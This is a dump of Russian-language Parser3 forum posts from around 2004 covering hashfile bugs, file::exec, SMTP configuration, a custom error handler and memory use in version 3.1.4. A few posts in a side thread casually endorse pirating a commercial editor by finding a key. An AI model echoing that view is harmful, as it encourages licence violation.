[code]$hashfile.$key[$.value[$hashfile.$key]$.expires(0)][/code]\
пробовал таким вот макаром обнулить это дело, вроде тоже не выходит...\
\
[code]^hashfile.delete[$key]\
$hashfile.$key[$.value[$hashfile.$key]$.expires(50)][/code]\
так тоже пробовал, наверное зря, теперь хэшфайл вообще на меня перестал реагировать...\
\
вобщем, самое время спросить в форуме :) subj., что посоветуете?\
\
P.S. [b][3.1.4][/b]"
"36033","вы всё правильно делали, только непонятно, зачем стирать :)"
"36034","[code]\
$one[^hashfile::open[one]]\
$one.value[onevalue]\
\
$two[^hashfile::open[one]]\
$two.value\
[/code]\
В версии 3.1.3 выдает onevalue\
А в 3.1.4 пишет в лог \
\
[Mon Dec 27 16:18:18 2004] [4040] : d:/test/test.p3(6:17): 'open' apr_sdbm_open(shared) error: Unknown error (-1) [file.access]\
\
P.S.\
Под FreeBSD также"
"36036","Точнее не его самого, а ключик к нему.\
Начиная с 6й версии это лучший редактор из возможных на макинтоше."
"36038","уже писал, что в ряде версий был по глупой ошибке отключён весь locking :(\
\
соответственно, да, работало, но по чистой случайности: если в версии до 3.1.4 начать интенсивнее работать с hashfile, получим разрушенный файл и случайные падения."
"36039","[code]\
a=0\
b=a\
b=?\
[/code]\
\
;)"
"36040","Есть база данных, назовем ее \"Основная\", которая содержит описания товаров, заказы, пользователи и т.д.\
\
Есть 4 магазина, у которых есть свои базы данных, которые содержат корзину покупателя, цены на товары, виды доставки и т.д. для каждого магазина. \
\
Вопрос: каким образом лучше всего реализовать связку магазинов с Основной базой данных? Необходимо максимально платформонезависимое, легко расширяемое и дополняемое решение. \
\
Т.е. по сути я вижу два варианта: \
1. Просто обращение напрямую к базе средствами парсера.\
2. XML запросы/ответы в зависимости от того что треба на данный момент.\
\
Вопрос какой выбрать, или может еще варианты есть?\
\
p.s.: все магазины используют Parser, XML, XSLT \
На данный момент все магазины на одном сервере, но в дальнейшем стуация может измениться."
"36041","Вопрос если какие-либо рекомендации и/или ограничения по использовании hashfile (кроме 8000 байт)?\
Обжегшись раз на молоке теперь буду долго дуть на воду ;-)\
Каково макс. кол-во пар в одном хешфайле?\
Как количество пар влияет на производительность?"
"36042","Всем привет.\
\
У меня есть скрипт, занимается всякой ерундой (логи там чистит, базу апдейтит и т.п.). Написан на парсере. Запускается обычно из cron.\
Хочется этот же скрипт пускать из файла на сайте. То есть, хочется написать ^file:exec[/../util/daychk.p]\
Почему-то у меня при этом выдается ошибка:\
\
method_frame may not be overwritten with file (file), store it to variable instead\
MAIN\
\
/usr/local/www/data/auto.p(5)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
body /usr/local/www/data/auto.p(5)\
\
Подскажите, как это победить."
"36044","Если язык скрипта поменяется, не сайт же переписывать."
"36047","... ибо file::exec - конструктор класса, а не статическая функция.\
\
При этом в начале daychk.p должна стоять конструкция вида[code]#!/путь/к/parser3[/code]\
\
С другой стороны не совсем понятно, кто мешает просто сделать так:\
[code]^use[daychk.p]\
^run_daychk[][/code]\
Функция run_daychk должна быть описана в daychk.p"
"36048","$exec_file[^file::exec[/../util/daychk.p]]\
\
а в daychk.p первой строкой должно идти\
#!/путь/к/parser3.cgi\
\
\
\
Чего из этого нет в доке?!?!?!"
"36049","Самым бы лучшим подарком, было бы resize картинок ;)"
"36050","Вобщем, покопался на форуме и на форумах. Нихрена не нашёл дельного.\
\
Скажите, плиз, как нормально слать почту не в заглушку, а наружу. Только, прошу, не пишите что-либо, типа http://www.parser.ru/forum/?id=666\
\
Дайте вразумительный ответ.\
\
winxpsp2procorp+denwer."
"36051","Про два двоеточия - спасибо. Не заметил. С другой стороны, копировал с примера. Там, кажется, два и было - это я сюда потом ручками одно набил.\
\
Объяснять, что писать в начале скрипта - не нужно. Этот скрипт уже больше года работает через cron :)\
\
Вызывать через use не хочу - способ запуска скрипта не должен зависеть от его языка. Если я его завтра на С++ перепишу - что, сайт менять?\
\
Если пишу $file[^file::exec ... - не выдает ошибки, но и не делает ничего.\
Если пишу просто ^file::exec ... , не присваивая ничему - выдает ошибку (см. первое сообщение)"
"36052","ключ удалил, и потом пытаюсь значение из него вытащить... Это уже от безысходности попробовал, зря конечно. Сперва пробовал ровно так [url=\"http://www.parser.ru/forum/?id=36033\"]как надо[/url], только не понял как проверить, работает оно или нет. Полез в dir/pag, там ничего не понятно, ну, думаю, сеичас я время-та у ключика обнулю, он и пропадёт. Обнулил - нифига. А всего-то надо было что-то вроде\
[code]$hashfile.$key[$.value[$hashfile.$key]$.expires(1/20000)][/code]\
он бы и пропал через пару секунд. А $.expires(0) не срабатывает, оказывается..."
"36056","парсер работает нормально, но хотелось бы видеть в браузере ошибки.\
переключил в @unhandled_exception с release на debug но вместо вывода ошибок получаю internal server error и запись в логе апача Premature end of script headers, логи парсера ведутся нормально.\
\
платформа FreeBSD 4.7\
Апач 1.3.29 (пакадж)\
парсер тестировался любой из 3.х.х"
"36057","Здрасьте! Я начинающий веб программист и знаю только HTML, скачал ваш пакет и документацию, но не понимаю как создать документ .p, как его отобразить в браузере и где его хранить! Помогите пожалуйста!\
\
Заранее спасибо!"
"36058","скачай денвер, а потом все таки читай документацию"
"36059","Денвер - пакет для разработчиков\
\
качай [url=\"http://www.denwer.ru/dis/Base_Parser/\"]http://www.denwer.ru/dis/Base_Parser/[/url]\
\
и читай там же."
"36060","я например поставил SPECTral Personal SMTP Server (http://spsmtp.net.ru) как решение проблемы посылки почты наружу + прописал в главном auto.p, что почту необходимо слать по протоколу SMTP, а не через SENDMAIL."
"36061","Анализировать после запуска:\
$file.text - output скрипта\
$file.errno - код выхода (обычно, должен быть 0, если не сделано специально иное)\
$file.stderr - stderr скрипта. Сюда валятся ошибки.\
\
Неужели все три пустые?"
"36062","а такому учит :)\
\
Можно не отвечать, просто забавно."
"36063","Файлы [b].p[/b] сохраняются чем угодно, лишь бы после имени была написана точка и буковка п английская. А после этого ничего написано быть не должно. :)"
"36065","Использую классы авторизации от Misha v.3\
На одной из  страниц пишу ссылку для Logout вида \
<a href=\"/?auth.logout=true\">Logout</a>\
Дальше, для удаления этой стоки из url пишу (иначе авторизоваться под другим именем не удается)\
\
^if(def $form:[auth.logout] ){\
	$response:location[/?tm=OK]\
}\
Под win32 срабатывает, на на сервере под Линукс этот if игнорируется.. Что посоветуете"
"36066","и заказать можно. И пришлют без предоплаты. А вот деньги им потом фиг отошлёшь. Из Швеции заказывали программу, товар получили, а оплатить через банк не смогли, ниодин банк не брался провести платёж ни от частного и юридического лица, да ещё и в кронах. Пришлось деньги в Стокгольм с оказией передавать. А в Бедфорд, штат Масачусетс никто из знакомых в ближайшее время не собирается. Получается проще стибрить."
"36067","А демо версия как долго и как хорошо работать будет?"
"36068","К Студии не имеет никакого отношения.\
\
Покупка подразумевается платностью софта.\
Кто может купить - купит. Кто не может - найдет ключ. И то и другое - просто и быстро."
"36069","Работает 30 дней. Потом работать нереально - просто закрывается через 5-10-15 минут без каких либо предупреждений. Понятное дело, все изменения в файлах пропадают."
"36071","Принимают Visa и MasterCard. Чего ж еще надо? ;-)"
"36072","считаю участие в проекте.\
библиотека libgd открыта.\
исходники parser открыты и в этой части — тривиальны."
"36073","что именно за строчка при выполнении unhandled_exception_debug даёт такой эффект?\
\
используйте последнюю версию parser. укажите номер :)"
"36075","Если вы считаете себя программистом зная HTML, то тяжело вам будет \"программировать\".\
Для начала почитайте литературу по веб-программированию, так чтобы азы были.\
Потом тщательно штудируйте документацию к Парсеру, ФАК и форум сайта.\
Первый пяти уроков вам хватит чтобы \"въехать\" в принципы.\
Дальше - самообразование.\
\
Спрашивать о создании .p файла - это уже вообще..."
"36076","я вроде писал про свои опыты - где то 100000 записей вливалось, миллион уже уходил в своп. Но это может особенности конкретной машины."
"36077","Я решил эту проблему написав в форме логина [b]action=\".\"[/b]"
"36078","-"
"36079","Ну вообщем как вариант... Просто странно, что под win32 работает, а под nix  - нет ..."
"36080","а вы задумываете внешний.\
поищите \"внутренний redirect\" по форуму"
"36082","Вообщем то делаю любую ошибку, будь то синтаксис или ошибка запроса к базе и получаю 500-тую. В логах есть, а в браузере нет.\
и ещё с апачем ошибся 1.3.28 версия\
Версия парсера последняя"
"36083","Спасибо большое.\
\
А можете пояснить, что именно прописать в auto.p для конкретного примера."
"36084","Только сейчас заметил.\
Один и тот же код под 3.1.3 и 3.1.4 кушает памяти в два (!) раза больше.\
\
Вот, к примеру, данные на генерацию одной страницы (3.1.3):\
Время:\
скрипт — 0.171875 сек\
чтение с диска — 0.109375 сек\
всего — 0.28125 сек\
Память:\
занято процессом — 12888 блоков,\
занято — 7016 Кб,\
свободно — 2224 Кб,\
выделено после сборки мусора — 14811.2 Кб,\
выделено за все время обработки запроса — 14811.2 Кб\
\
и та же страница под 3.1.4:\
Время:\
скрипт — 0.140625 сек\
чтение с диска — 0.046875 сек\
всего — 0.1875 сек\
Память:\
занято процессом — 20948 блоков,\
занято — 16704 Кб,\
свободно — 4412 Кб,\
выделено после сборки мусора — 14820.2 Кб,\
выделено за все время обработки запроса — 14820.2 Кб\
\
Да, код выполняет на 0,1 сек быстрее, но ценой 9688Кб памяти.\
\
Кто-нибудь замерял быстродействие и расход памяти после перехода на новую версию?\
Может у меня тараканы в коде где сидят..."
"36085","У меня всегда вылетает ошибка:\
\
[code]The mail server doesn't like the name carnaby007@mail.ru. Have you set the 'To: ' field correctly?[/code]\
\
Что бы я ни писал в auto.p, кроме mail.office.design.ru ."
"36087","правильно ли понимаю, что когда используется\
[code]^unhandled_exception_release[...][/code]\
в браузере вы видите <title>Unhandled Exception</title>\
\
а когда используете\
[code]unhandled_exception_debug[...][/code]\
то не видите?"
"36088","Просто от этого показания о свободной памяти сильно разнятся. Я вот по своей хостинговой машине таких данных сказать не могу, т.к. даже на одной и той же версии Parser данные двух загрузок с интервалом в секунду абсолютно разные."
"36089","Ибо замеры делаю локально.\
Просто подменяю папки с парсером и библиотеками разный версий и делаю рефреш страницы.\
\
С десяток раз проделывал - результат одинаковый."
"36090","нам известно, что в библиотеках есть минимум [b]две[/b] ошибки.\
найти их в большом коде чужой библиотеки не представляется возможным.\
\
поэтому было принято решение сделать вариант, который ценой памяти [b]работает[/b]. версии до 3.1.3 редко, но совершенно непредсказуемо падали при работе с xml.\
\
мы заметили это на двух проектах на разных площадках с разными OS.\
нашим клиентам не понравилось.\
\
мы приняли решение: не доверять библиотеке libxml и libxsl освобождать память и не доверять им принимать решение о типе выделяемого плока (atomic/mixed).\
\
это существенно ускорило выполнение скриптов (не выполняется free).\
незначительно замедлив сборку мусора.\
соответственно, суммарно, даже получился некий выигрыш по скорости [по нашим тестам меньше, чем по вашим, но, конечно, это зависит. нам было важно, чтобы не было замедления].\
\
вывод 1: если вам дорогА занимаемая память, сделайте ещё сколько-то сборок мусора в ключевых местах, память освободится.\
^вывод[$вывод]: конечно, ценой некоторого замедления.\
\
вывод 2: время идёт, и рост требований приложений, это нормально. а память, как и всё, дешевеет.\
скажем, сравните проект с XML и без него. удобнее писать с XML, хотя памяти уходит существенно больше, поставить память в машину (или заплатить на копейку больше хостеру) это дешевле, чем тратить кучу усилий, работая по старинке.\
\
для радикалов: лучше библиотеки, чем libxml+libxsl пока нет.\
\
для рисковых парней, которые никогда ошибок не видели и думают, что беда их обойдёт, и их клиент никогда не будет расстроен непонятной ошибкой на заглавной странице посещаемого сайта: снимите комментарии с этих строк pa_globals.C:\
[code]\
#define PA_WORKAROUND_BUGGY_FREE_IN_LIBXML_GC_MEMORY\
#define PA_WORKAROUND_BUGGY_MALLOCATOMIC_IN_LIBXML_GC_MEMORY\
[/code]"
"36091","Я проверять не стал насколько - у меня упало, я откатился назад на 3.1.3. Разбираться нет сил и желания - и так все работает.\
\
Думаю в студии никто такие вещи серъёзно не тестирует (личное мнение), - так, на глазок прогонят, все работает? Да!, ну и делают релиз, а народ потом наступает на грабли :) Я понимаю если бы было написано в комментариях к релизу что мол вырос расход памяти, - это совершенно нормально и очевидно, а так фиг знает где на мину наступишь.\
\
А больше всего поражают деятели которые орут про отличный [i]продукт[/i] :)."
"36093","вы совершенно правы, что имело смысл это вписать в новость, упущение.\
\
однако, никто ничего не скрывает: см. ChangeLog [http://cvsview.parser.ru], мои комментарии о проблеме там с сентября месяца."
"36094","Есть такое ощущение, что вы что-то не туда переключили ;-)\
\
Давайте проще - сотрите имеющийся @unhandled и заменитье моим вариантом (но только на тестовой версии - на рабочей вам такой большой кусок кода иметь в auto.p не резон), и всё:\
\
[code]@unhandled_exception[exception;stack]\
$response:status(500)\
$response:content-type[\
    $.value[text/html]\
    $.charset[$response:charset]\
]\
\
#	В сообщениях об ошибках, которые генерирует Parser, фигурируют реальные пути к файлам\
#	и папкам, что не есть хорошо. Вы можете указать в таблице $false_path вымышленное значение, на которое\
#	будет заменяться часть пути. \
\
$false_path[^table::create{from	to\
$env:DOCUMENT_ROOT	/}]\
\
#	Отключаем кеширование выдаваемой страницы в браузере тремя способами\
#	(первый - для HTTP 0.9, второй - для HTTP 1.0, третий - для HTTP 1.1):\
\
$response:expires[^date::now(-1)]\
$response:Pragma[no-cache]\
$response:Cache-Control[private,no-cache,no-store]\
\
$result[<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"ru\" lang=\"ru\">\
	<head>\
		<title>Internal server error (Parser)</title>\
		<style><!--\
			body	{font-family: Arial, Geneva, Helvetica, sans-serif^; max-width: 620px^;}\
			h1		{font-size: 500%^; border-bottom: dotted 1px #900^; margin: 0^;padding: 0^; color: #900^;}\
			li		{list-style-type: square}\
		//--></style>\
	</head>\
	<body>\
		<H1>Ой&#133^;</h1>\
\
		<h2>В работе Parser произошла ошибка:</h2>\
	\
		<pre>^untaint[html]{^exception.comment.replace[$false_path]}</pre>\
	\
		^if(def $exception.source){\
			<h3>Ошибку вызвал этот фрагмент:</h3>\
			<code>^exception.source.replace[$false_path]</code>\
			^if(def $exception.file){\
				<h3>Ошибка произошла при работе с файлом:</h3>\
				<pre>^untaint[html]{<code>^exception.file.replace[$false_path]</code>, строка номер <b>$exception.lineno</b>}</pre>\
			}\
		}\
	\
		$parser_error_types[^table::create{type	explanation\
parser.compile	в вашем коде ошибка - вы забыли поставить пару какой-нибудь скобке, забыли поставить \"птичку\" перед знаком <b>^;</b> или ещё что-то. Будьте внимательнее.\
parser.runtime	вы вызываете несуществующий метод (опечатка в имени или файл, в котором он лежит, недоступен?), методу передано неправильное количество параметров (нигде, часом, не забыли поставить \"птичку\" перед знаком <b>^;</b> где он не несёт специального значения?) или не тех типов, и т.п. Возможно, где-то опечатка в названии стандартной функции или в её использовании. Внимательно перепроверьте ваш код.\
parser.interrupted	загрузка страницы прервалась (пользователь остановил загрузку страницы или истекло время ожидания).\
number.zerodivision	вы пытаетесь заставить Parser поделить что-то на ноль, а он так не умеет (и никто не умеет).\
number.format	вы пытаетесь преобразовать к числу нечисловые данные (например, \"Людовик XIV\" в \"14\" Parser преобразовать никогда не сумеет).\
file.missing	вы пытаетесь получить доступ к файлу, которого нет или он на деле называется не так, как вы думаете (может быть, вы перепутали регистр букв? или заменили английскую букву в имени русской?)\
file.access	у парсера нет прав на доступ к этому файлу.\
image.format	файл изображения имеет неправильный формат (возможно, расширение имени не соответствует содержимому, или файл пуст?)\
sql.connect	сервер баз данных не может быть найден или временно недоступен или же ему просто не нравятся ваши логин с паролем.\
sql.execute	произошла ошибка исполнения SQL запроса. Там точно нет никаких опечаток? В таблице, к которой вы обращаетесь, есть все нужные столбцы? Может быть, база данных была повреждена? Или кончилось место на диске и сервер базы данных не может дальше правильно работать?\
xml	в вашем коде XML ошибки, или вы пытаетесь выполнить над XML недопустимую операцию.\
smtp.connect	SMTP сервер (сервер для отправки почты) не может быть найден или временно недоступен.\
smtp.execute	произошла ошибка отправки письма по SMTP протоколу (проверьте, не \"упал\" ли сервер, принимает ли он от вас письма, и не вмешивается ли в процесс слишком бдительный антивирус или файрволл).\
email.format 	у вас ошибка в email адресе: адрес пустой, содержит неправильные символы или же там попросту нет \"@\".\
email.send	произошла ошибка запуска почтовой программы (у вас точно smtp/sendmail правильно работает? Спросите у администратора сервера или залезьте сами по SSH и проверьте, сымитировав отправку письма вручную).\
http.host	искомый сервер не найден. Вы точно не сделали опечаток в имени, не выдернули шнур из сетевой карты, и не переусердствовали с настройкой файрволла?\
http.connect	сервер, к которому вы обращаетесь, найден, но не принимает соединений. Может быть, слишком бдительный firewall или антивирус вмешиваются?\
http.response	сервер, к которому вы обращаетесь, был найден, соединение принял, но выдал некорректный ответ (нет статуса, заголовка). Или это сетевая ошибка, или сбой \"на той стороне\". Соединитесь telent'ом с другим сервером и проверьте вручную, что на самом деле он выдаёт.\
http.status	Cервер выдал ответ со статусом, не равным 200 (не успешное выполнение запроса). Может быть, статус - уже давно как \"404 Page not found\"? Если вам не важен статус ответа, попробуйте опцию <code>any-status(1)</code>\
http.timeout	Parser не успел выкачать документ с HTTP-сервера в отведенное время. Попробуйте увеличить параметр timeout или сделать что-то с каналом связи с интернетом.}]\
	\
		^if(def $exception.comment){\
			$parser_faq[^table::create{code	explanation\
expecting 'STRING' or '&#36^;' or '&#94^;'	Как правило это не закрытые скобки или забытый префикс в виде символа ’&#94^;’ перед спецсимволами парсера ’^;’, ’&#94^;’, ’&#36^;’ и др. Если вы хотите, чтобы в тексте странички появился символ ’^;’ его надо написать так ’&#94^;^;’. В принципе, префиксы ставить нужно не всегда, однако если вы их поставите — хуже не будет)\
accepts minimum	Это означает, что вы вызываете оператор и пытаетесь передать ему меньше параметров, чем тот требует для своего функционирования. Очень часто такая ошибка происходит, когда вы между скобками, разделяющими параметры, ставите пробелы/переводы строк.\
accepts maximum	Это означает, что вы вызываете метод, и пытаетесь передать ему больше параметров, чем тот может принять. Очень часто такая ошибка происходит, когда вы передаете в метод строку, содержащую спецсимволы, вероятно, символ «точка с запятой», не предварив её символом «птичка». При этом парсер воспринимает этот символ как разделитель передаваемых в метод параметров.\
method_frame may not be overwritten	Производится попытка добавить в тело страницы объект, который не может быть выведен парсером. Например, если написать в чистом поле &#94^;date::now[] то получим такую ошибку. Чтобы вывести дату нужно сделать примерно следующее: <pre>&#36^;now[&#94^;date.now[]]<br />&#94^;now.sql-string[]</pre>Аналогично с объектами таблица, хеш и т.д.\
MAIN:CLASS_PATH were specified	Вы пытаетесь использовать @USE или &#94^;use[] но не задали переменную &#36^;MAIN:CLASS_PATH и персер не знает, где искать классы, которые вы пытаетесь подключить. Подробности в документации.\
not found along MAIN:CLASS_PATH	Файл с операторами или классами, которые вы пытаетесь подключить через @USE или &#94^;use[] не найден по путям, указанным в переменной &#36^;MAIN:CLASS_PATH. Часто проблема имеет место быть, если после имени файла закрался пробел/символ табуляции. Также бывает, что после @USE и списка модулей забывают объявить метод и начинают писать код страницы, подразумевая, что это будет @main[]\
SQL:drivers table must be defined	Не настроен или отсутствует конфигурационный auto.p (это тот, который у cgi версии лежит рядом с исполняемым файлом парсера). Для простой проверки скачайте из соответствующего раздела тестовый документ, распакуйте его в веб пространство вашего сайта и обратитесь к нему из броузера. Для того, чтобы данный файл смог все проверить, вам будет необходимо отредактировать конфигурационный auto.p и указать абсолютный путь в &#36^;confdir.\
driver implements API version	Версия установленного и требуемого parser'ом драйвера (libparser3???.so) не совпадают. Причина может быть в том, что вы перешли с одной версии парсера на другую, но не обновили драйвер базы данных.\
outside of 'connect' operator	Происходит попытка выполнить SQL запрос (&#94^;table::sql{}, &#94^;int:sql{} и др.) вне оператора для подключения к БД &#94^;connect[строка подключения]{запросы тут}.\
transcodeFromUTF8 error	Тот кто настраивал вам parser или совсем не положил предлагаемый конфигурационный файл, или испортил его. По-умолчанию, если &#36^;request:charset не задан (сейчас подходящий момент посмотреть в документацию) он равен UTF-8. Parser’у не объяснили, в какой кодировке его документы (&#36^;request:charset), и он считает, что они в UTF-8. Соответственно, если попросить его перекодировать из UTF-8 в windows-1251 (определив &#36^;response:charset), задав на входе текст в windows-1251, он честно возмутится.\
endless loop detected	Подобное сообщение появляется, если парсер обнаруживает очень длинный цикл. Например, если вы напишите конструкцию &#94^;while(1){что-то} то будет подобное сообщение об ошибке. Кроме того, если вы сделаете большой цикл for или menu в котором будет более 10000 итераций, то тоже увидите подобное сообщение.\
endless recursion detected	Подобное сообщение появляется, если парсеру кажется, что код зациклился. Очень часто причиной может быть некорректная или очень глубокая рекурсия (более 1000 вызовов).}]\
	\
			$faq_explanation[]\
	\
			^parser_faq.menu{\
				^if(^exception.comment.pos[$parser_faq.code] >= 0){\
					$faq_explanation[$parser_faq.explanation]\
				}\
			}\
		}\
	\
		^rem{### если текст ошибки упоминался в FAQ, выводим запись оттуда, если нет - более общий текст ###}\
\
		^if(!def $faq_explanation){\
			<h3>Что обычно приводит к ошибке $exception.type?</h3>\
			^if(^parser_error_types.locate[type;$exception.type]){\
		 		<p>^taint[as-is][$parser_error_types.explanation]</p>\
			}\
		}{\
			<h3>Вот что говорится в <a href=\"http://www.parser.ru/faq/\">FAQ</a> об этой ошибке:</h3>\
			<p>$faq_explanation</p>\
		}\
	\
		^if($stack){\
			^if(^stack.count[] > 1){\
				<h3>Последовательность операций, которая привела к ошибке:</h3>\
				(от самой последней вверху списка до самой первой внизу)\
				<ul>\
					^stack.menu{\
						<li><code>$stack.name</code>: ^stack.file.replace[$false_path] строка $stack.lineno </li>\
					}\
				</ul>\
			}{\
				<h3>Проблема возникла при выполнении:</h3>\
				<p><code>$stack.name</code>: ^stack.file.replace[$false_path] строка $stack.lineno</p>\
			}\
		}\
	\
		<h2>Ссылки:</h2>\
	\
		<ul>\
			<li><a href=\"http://www.parser.ru/docs/\">Документация по Parser</a></li>\
			<li><a href=\"http://www.parser.ru/faq/\">FAQ по Parser</a></li>\
		</ul>\
	\
		^for[i](0;512/6){&nbsp^;}\
\
	</body>\
</html>] [/code]"
"36095","Александр, я вас все понимаю, но поимите и вы нас - ну не досуг постоянно читать комментарии в CVS :).\
\
А забыли вы из-за банальной спешки, - появилось окошко времени, вот и выпустили обещаный фиг знает сколько времени релиз, понятно что многое забыли. Понятно также, что для студии парсер это так, в нагрузку больше, т.к. продают не собственно парсер, а сайты, поэтому на такие вещи (забыл что-то вписать в комментарии к релизу) просто внимание не обращают. А из таких мелочей и формируется мнение разработчиков о продукте (devil in details), а клиенты понятно довольны :).\
\
Можно возразить - сайты то на парсере. Да, но в случае проблем вы все уладите и быстро поправите, чего нельзя сказать о других, кто парсер использует."
"36096","[code]$MAIL[\
	$.SMTP[localhost:25]\
]\
[/code]\
\
Это в auto.p\
\
Сама программа настраивается на 25 порт прямого сервера. Альтернативные не нужны.\
\
Спасибо всем большое.\
\
\
ps | это для поиска по форуму (=\
sendmail mail smtp почта интернет локалка посылать сервер как $mail"
"36097","Так как, думаю, пара сборок мусора спокойно скущает тот прирост, что есть в новой версии...\
\
Жаль терять куки в авто и нормальный хэш-файл...\
Если первое спокойно можно обойти, то второе - пока без вариантов."
"36098","что до «чего нельзя сказать о других»… для других есть этот форум и есть, в меру наших сил, та помощь, которую пользователи parser друг другу не оказывают, а оказываем мы."
"36099","только вот зачем гадать, если можно проверить."
"36100","прирост в расходе памяти минимальный, менее 10%.\
\
Наверное, дело в архитектуре системы - у меня за всё время генерации страницы создаются только два xdoc'а - XML актуального документа и его transform. Плюс никаких DOM-методов я не использую вообще."
"36101","Пока времени нет искать, что даёт наибольший расход..."
"36102","на достаточно сложном коде, в котором правда есть и ^memory:compact[], но [b]нет xml[/b] (используется parser3 без xml)"
"36104","Тест сайта без xml, без сборок мусора.\
\
3.1.3:\
\
Время:\
скрипт — 0.125 сек\
чтение с диска — 0.015625 сек\
всего — 0.140625 сек\
Память:\
занято процессом — 9628 блоков,\
занято — 3968 Кб,\
свободно — 884 Кб,\
выделено после сборки мусора — 4454.01 Кб,\
выделено за все время обработки запроса — 4454.01 Кб\
\
3.1.4:\
Время:\
скрипт — 0.140625 сек\
чтение с диска — 0.046875 сек\
всего — 0.1875 сек\
Память:\
занято процессом — 8444 блоков,\
занято — 3972 Кб,\
свободно — 1168 Кб,\
выделено после сборки мусора — 4454.51 Кб,\
выделено за все время обработки запроса — 4454.51 Кб\
\
Т.о. расход памяти меньше, быстродействие тоже.\
\
Надо будет пошукать какие процедуры с xml дают наибольшую нагрузку..."
"36105","У меня один xml, формируемый рядом x-path вставок в болванку.\
xsl - стационарный.\
Трансформа на страницу два.\
Один простенький для дерева под страничную навигацию из глобального, второй - основной, выдающий html."
"36106","Привет всем! Пожалуйста, могите корректно все настроить!\
Я не веб-программист. Из языков более-менее знаю только HTML.\
Установил Parser. \
Операционка сервера: FreeBSD.\
Скачал документацию, начал учить. Хочу сделать свой сайт на Parser. И дальше активно использовать эту технологию.\
Первый пример (из документации) с менюшкой [url=\"http://www.llo.ru\"]вроде работает корректно[/url].\
Однако, при прямом обращении к скрипту:[url=\"http://www.llo.ru/cgi-bin/parser3.cgi\"]Parser3.cgi[/url]\
появляется такая строка: \"Parser/3.1.4 (compiled on i386-unknown-freebsd4.10\".\
При тестировании _test.html появляется [url=\"http://llo.ru/test/_test.html\"]это[/url].\
Правильно ли все это?\
\
Заранее благодарю.\
[url=\"mailto:llo@llo.ru\"]llo[/url]"
"36107","чему равен размер одного блока памяти?"
"36108","FAQ!\
\
…transcodeFromUTF8 error…\
Тот кто настраивал вам parser или совсем не положил предлагаемый конфигурационный файл, или испортил его.\
По-умолчанию, если $request:charset не задан (сейчас подходящий момент посмотреть в документацию) он равен UTF-8.\
Parser’у не объяснили, в какой кодировке его документы ($request:charset), и он считает, что они в UTF-8.\
Соответственно, если попросить его перекодировать из UTF-8 в windows-1251 (определив $response:charset), задав на входе текст в windows-1251, он честно возмутится."
"36110","что все-таки лучше для замены использовать - replace или регилярки для замены [b][/b] на <b></b>?\
replace у меня пока нормально обрабатывает вложенные такие \"теги\", на регулярках как-то медленней выходит(если вложенные тоже отлавливать)."
"36111","например если кто-нить напишет просто [b] то будет плохо. поэтому желательно искать/менять только парные теги с помощью рекурсии в regexp или цикла в парсерном коде."
"36113","Добавлена возможность определять блоки не нуждающиеся в типографировании <clean>это - текст</clean> (после типографирования пометки снимаются автоматически).\
Расширена таблица замен специальных символов и символов мнемоников.\
Внесены изменения в регулярные выражения (кавычки, прямая речь, и т.д.).\
\
Берём здесь: http://www.typograf.ru/download/"
"36115","счас стоит парсер 3.14, ставил любой из 3.х ветки\
тайтл - 500 Internal Server Error\
в обоих случаях\
как в\
^unhandled_exception_release[$exception;$stack]\
так и в\
^unhandled_exception_debug[$exception;$stack]"
"36117","Собрано. Лежит, как обычно, в http://tomash.theatre.ru/parser3/\
Комментарии и вопросы в почту или аську"
"36118","Если не трудно кинте простенький примерчик как сохранять и загружать файлы с SQL-сервера...\
\
А то в доках не очень понятно..."
"36119","но и очень интересно прочитать мнение создателей технологии.\
Например, часто возникает соблазн использовать hashfile там, где мало данных, но много примитивных запросов. \
\
Один раз больно накололся - локально все работало идеально, на вебе тестирование прошло отлично, но через недельку hashfile навернулся в очень неудобный момент.\
\
Потому хотелось бы побольше достоверной информации на этот счет."
"36120","Ну если поделить расход на число блоков, то - 0,85587326120556414219474497681607Кб..."
"36121","Поставил на свеженький IIS новую версию парсера и столкнулся с неприятным явлением - через незначительное время IIS перестаёт отгружать страницы, через Management console сервис не перезапустишь, net stop тоже его вырубить неспособна.\
\
Я пока не изучал проблему - заменил ISAPI на CGI и поставил самый высокий уровень изоляции. Будет время - попытаюсь нарыть подробностей (IIS и парсер обслуживают \"production\" вебприложение, а работу останавливать не резон - надо в нерабочее время), пока же прошу поделиться владельцев подобной же конфигурации - не нарывались ли?"
"36123","Я бы на твоем месте Саня, не стал бы пользоваться на IIS 6.0 ISAPI вариантом вообще, до тех пор, пока студия лебедева не будет поддерживать такого клиента.\
\
Вот что пишут про IIS 6.0:\
[quote]\
IIS 6.0 came out with a different threading model that broke some old applications. I was shocked to discover that our customers with Windows Server 2003 were having trouble running FogBugz.\
[/quote]\
\
http://www.joelonsoftware.com/articles/APIWar.html\
\
Просто, тут [i]легко[/i] проблему не решить, - нужно брать в руки исходники, отладчик и вперед, имея при этом достаточно времени."
"36124","Привет!\
Все у меня работало. Все ок на локальном.\
Только что закачал — auto.p не обрабатывается... \
??\
хост на host-ing.ru\
baytur.kg (если, что)\
Что делать?\
\
Заранее спасибо!"
"36125","Допустим имеется строка 1,23,56,23,567 - можно ли загнать все эти числа из строки в хэш?\
Типа так : \
\
[code]$numbers[\
   $.1[1]\
   $.2[23]\
   $.3[56]\
   $.4[23]\
   $.5[567]\
][/code]"
"36127","http://www.parser.ru/hosters/host-ing.ru/1/\
Как видите никаких проблем с установкой быть не должно.\
\
А перед тем как писать ответ прочтите пожалуйста\
http://www.parser.ru/faq/forum/"
"36130","Я не знаю, проблема с 3.1.4 - это кривость моей конкретной настройки,  несовместимость с другой ISAPIшкой в соседней папке или ещё что. \
\
Так что предостережения мне кажутся чрезмерными. Разберёмся и обкатаем..."
"36131","Он явно выразил всё то, что у меня самого было \"на уровне ощущений\". Про удобство разработки инструментарием, который берёт на себя управление памятью, про \"fire and run\".. Оказалось полезно для приведения мыслей и ощущений в порядок."
"36132","ПОдскажите пожалуйста как организовывается на сайте \"регистрация пользователей\": вообще суть этого.\
Так же необходимо раздать им права, к примеру \"модеротор\", \"администратор\", \"гость\"...\
\
